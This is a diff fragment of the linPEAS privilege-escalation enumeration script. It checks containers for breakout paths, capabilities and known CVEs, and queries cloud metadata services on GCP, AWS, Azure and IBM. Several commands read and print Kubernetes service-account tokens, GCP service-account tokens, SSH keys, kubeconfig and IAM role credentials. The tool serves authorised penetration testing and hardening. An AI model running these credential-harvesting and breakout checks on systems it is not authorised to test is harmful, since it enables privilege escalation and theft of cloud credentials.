if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi
|
||||
if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi
|
||||
if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi
|
||||
if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi
|
||||
fi
|
||||
|
||||
# If docker
|
||||
if echo "$containerType" | grep -qi "docker"; then
|
||||
print_2title "Docker Container details"
|
||||
inDockerGroup
|
||||
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
|
||||
enumerateDockerSockets
|
||||
print_list "Docker version .................$NC$dockerVersion"
|
||||
checkDockerVersionExploits
|
||||
print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
if [ "$inContainer" ]; then
|
||||
checkDockerRootless
|
||||
print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
|
||||
echo ""
|
||||
fi
|
||||
if df -h | grep docker; then
|
||||
print_2title "Docker Overlays"
|
||||
df -h | grep docker
|
||||
fi
|
||||
fi
|
||||
|
||||
# If token secrets mounted
|
||||
if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then
|
||||
print_2title "Listing mounted tokens"
|
||||
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
|
||||
ALREADY="IinItialVaaluE"
|
||||
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
|
||||
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
|
||||
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
|
||||
ALREADY="$ALREADY|$TOKEN"
|
||||
echo "Directory: $i"
|
||||
echo "Namespace: $(cat $i)"
|
||||
echo ""
|
||||
echo $TOKEN
|
||||
echo "================================================================================"
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$inContainer" ]; then
|
||||
echo ""
|
||||
print_2title "Container & breakout enumeration"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
|
||||
print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
|
||||
if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
|
||||
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
|
||||
fi
|
||||
print_list "Seccomp enabled? ............... "$NC
|
||||
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
|
||||
|
||||
print_list "AppArmor profile? .............. "$NC
|
||||
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
|
||||
|
||||
print_list "User proc namespace? ........... "$NC
|
||||
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
||||
|
||||
checkContainerExploits
|
||||
print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
|
||||
print_3title "Breakout via mounts"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
|
||||
|
||||
checkProcSysBreakouts
|
||||
print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
|
||||
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
print_3title "Namespaces"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces"
|
||||
ls -l /proc/self/ns/
|
||||
|
||||
if echo "$containerType" | grep -qi "kubernetes"; then
|
||||
print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n"
|
||||
print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n"
|
||||
echo ""
|
||||
|
||||
print_2title "Kubernetes Information"
|
||||
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
|
||||
|
||||
|
||||
print_3title "Kubernetes service account folder"
|
||||
ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_3title "Kubernetes env vars"
|
||||
(env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType="
|
||||
echo ""
|
||||
|
||||
print_3title "Current sa user k8s permissions"
|
||||
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes"
|
||||
kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \
|
||||
"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
||||
-X 'POST' -H 'Content-Type: application/json' \
|
||||
--header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED},"
|
||||
|
||||
fi
|
||||
echo ""
|
||||
|
||||
print_2title "Container Capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape"
|
||||
if [ "$(command -v capsh)" ]; then
|
||||
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
|
||||
else
|
||||
defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
|
||||
cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
|
||||
echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
|
||||
fi
|
||||
echo ""
|
||||
|
||||
print_2title "Privilege Mode"
|
||||
if [ -x "$(command -v fdisk)" ]; then
|
||||
if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then
|
||||
echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN},"
|
||||
fi
|
||||
else
|
||||
echo_not_found
|
||||
fi
|
||||
echo ""
|
||||
|
||||
print_2title "Interesting Files Mounted"
|
||||
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
print_2title "Possible Entrypoints"
|
||||
ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq
|
||||
echo ""
|
||||
fi
|
||||
510
linPEAS/builder/linpeas_parts/3_cloud.sh
Normal file
510
linPEAS/builder/linpeas_parts/3_cloud.sh
Normal file
@@ -0,0 +1,510 @@
|
||||
###########################################
|
||||
#-----------) Cloud functions (-----------#
|
||||
###########################################
|
||||
|
||||
GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append"
|
||||
GCP_BAD_SCOPES="/cloud-platform|/compute"
|
||||
|
||||
exec_with_jq(){
|
||||
if [ "$(command -v jq)" ]; then
|
||||
$@ | jq 2>/dev/null;
|
||||
if ! [ $? -eq 0 ]; then
|
||||
$@;
|
||||
fi
|
||||
else
|
||||
$@;
|
||||
fi
|
||||
}
|
||||
|
||||
check_gcp(){
|
||||
is_gcp="No"
|
||||
if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
|
||||
is_gcp="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_do(){
|
||||
is_do="No"
|
||||
if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
|
||||
is_do="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_ibm_vm(){
|
||||
is_ibm_vm="No"
|
||||
if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
|
||||
curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
|
||||
if [ "$?" -eq 0 ]; then
|
||||
IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
|
||||
is_ibm_vm="Yes"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_ecs(){
|
||||
is_aws_ecs="No"
|
||||
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
|
||||
is_aws_ecs="Yes";
|
||||
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4;
|
||||
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
|
||||
elif (env | grep -q ECS_CONTAINER_METADATA_URI); then
|
||||
is_aws_ecs="Yes";
|
||||
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI;
|
||||
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
|
||||
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
|
||||
is_aws_ecs="Yes";
|
||||
fi
|
||||
|
||||
if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
|
||||
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_ec2(){
|
||||
is_aws_ec2="No"
|
||||
is_aws_ec2_beanstalk="No"
|
||||
|
||||
if [ -d "/var/log/amazon/" ]; then
|
||||
is_aws_ec2="Yes"
|
||||
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
|
||||
else
|
||||
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then
|
||||
is_aws_ec2="Yes"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
|
||||
is_aws_ec2_beanstalk="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_lambda(){
|
||||
is_aws_lambda="No"
|
||||
|
||||
if (env | grep -q AWS_LAMBDA_); then
|
||||
is_aws_lambda="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_codebuild(){
|
||||
is_aws_codebuild="No"
|
||||
|
||||
if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
|
||||
is_aws_codebuild="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_az_vm(){
|
||||
is_az_vm="No"
|
||||
|
||||
if [ -d "/var/log/azure/" ]; then
|
||||
is_az_vm="Yes"
|
||||
|
||||
elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
|
||||
is_az_vm="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_az_app(){
|
||||
is_az_app="No"
|
||||
|
||||
if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
|
||||
is_az_app="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
check_gcp
|
||||
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_ecs
|
||||
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_ec2
|
||||
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_lambda
|
||||
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_codebuild
|
||||
print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_do
|
||||
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_ibm_vm
|
||||
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_az_vm
|
||||
print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_az_app
|
||||
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
|
||||
echo ""
|
||||
|
||||
if [ "$is_gcp" = "Yes" ]; then
|
||||
gcp_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"'
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"'
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
# GCP Enumeration
|
||||
if [ "$gcp_req" ]; then
|
||||
print_2title "Google Cloud Platform Enumeration"
|
||||
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security"
|
||||
|
||||
## GC Project Info
|
||||
p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
|
||||
[ "$p_id" ] && echo "Project-ID: $p_id"
|
||||
p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
|
||||
[ "$p_num" ] && echo "Project Number: $p_num"
|
||||
pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')
|
||||
[ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k"
|
||||
p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')
|
||||
[ "$p_attrs" ] && echo "All Project Attributes: $p_attrs"
|
||||
|
||||
# OSLogin Info
|
||||
osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)
|
||||
[ "$osl_u" ] && echo "OSLogin users: $osl_u"
|
||||
osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)
|
||||
[ "$osl_g" ] && echo "OSLogin Groups: $osl_g"
|
||||
osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)
|
||||
[ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk"
|
||||
osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)
|
||||
[ "$osl_au" ] && echo "OSLogin Authorize: $osl_au"
|
||||
|
||||
# Instance Info
|
||||
inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)
|
||||
[ "$inst_d" ] && echo "Instance Description: "
|
||||
inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)
|
||||
[ "$inst_hostn" ] && echo "Hostname: $inst_hostn"
|
||||
inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
|
||||
[ "$inst_id" ] && echo "Instance ID: $inst_id"
|
||||
inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)
|
||||
[ "$inst_img" ] && echo "Instance Image: $inst_img"
|
||||
inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)
|
||||
[ "$inst_mt" ] && echo "Machine Type: $inst_mt"
|
||||
inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)
|
||||
[ "$inst_n" ] && echo "Instance Name: $inst_n"
|
||||
inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)
|
||||
[ "$inst_tag" ] && echo "Instance tags: $inst_tag"
|
||||
inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
|
||||
[ "$inst_zone" ] && echo "Zone: $inst_zone"
|
||||
|
||||
inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location")
|
||||
[ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc"
|
||||
inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name")
|
||||
[ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name"
|
||||
inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin")
|
||||
[ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e"
|
||||
inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels")
|
||||
[ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab"
|
||||
inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig")
|
||||
[ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec"
|
||||
inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
|
||||
[ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv"
|
||||
|
||||
echo ""
|
||||
print_3title "Interfaces"
|
||||
for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do
|
||||
echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
||||
echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
||||
echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
||||
echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
||||
echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
||||
echo " ============== "
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "User Data"
|
||||
echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
|
||||
echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Service Accounts"
|
||||
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
|
||||
echo " Name: $sa"
|
||||
echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email")
|
||||
echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases")
|
||||
echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity")
|
||||
echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
|
||||
echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token")
|
||||
echo " ============== "
|
||||
done
|
||||
fi
|
||||
fi
|
||||
|
||||
# AWS ECS Enumeration
|
||||
if [ "$is_aws_ecs" = "Yes" ]; then
|
||||
print_2title "AWS ECS Enumeration"
|
||||
|
||||
aws_ecs_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
aws_ecs_req='curl -s -f'
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
aws_ecs_req='wget -q -O -'
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$aws_ecs_metadata_uri" ]; then
|
||||
print_3title "Container Info"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
|
||||
echo ""
|
||||
|
||||
print_3title "Task Info"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
|
||||
echo ""
|
||||
else
|
||||
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
|
||||
fi
|
||||
|
||||
if [ "$aws_ecs_service_account_uri" ]; then
|
||||
print_3title "IAM Role"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
|
||||
echo ""
|
||||
else
|
||||
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
|
||||
fi
|
||||
fi
|
||||
|
||||
# AWS EC2 Enumeration
|
||||
if [ "$is_aws_ec2" = "Yes" ]; then
|
||||
print_2title "AWS EC2 Enumeration"
|
||||
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
URL="http://169.254.169.254/latest/meta-data"
|
||||
|
||||
aws_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
aws_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
aws_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$aws_req" ]; then
|
||||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Account Info"
|
||||
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Network Info"
|
||||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||||
echo "Mac: $mac"
|
||||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||||
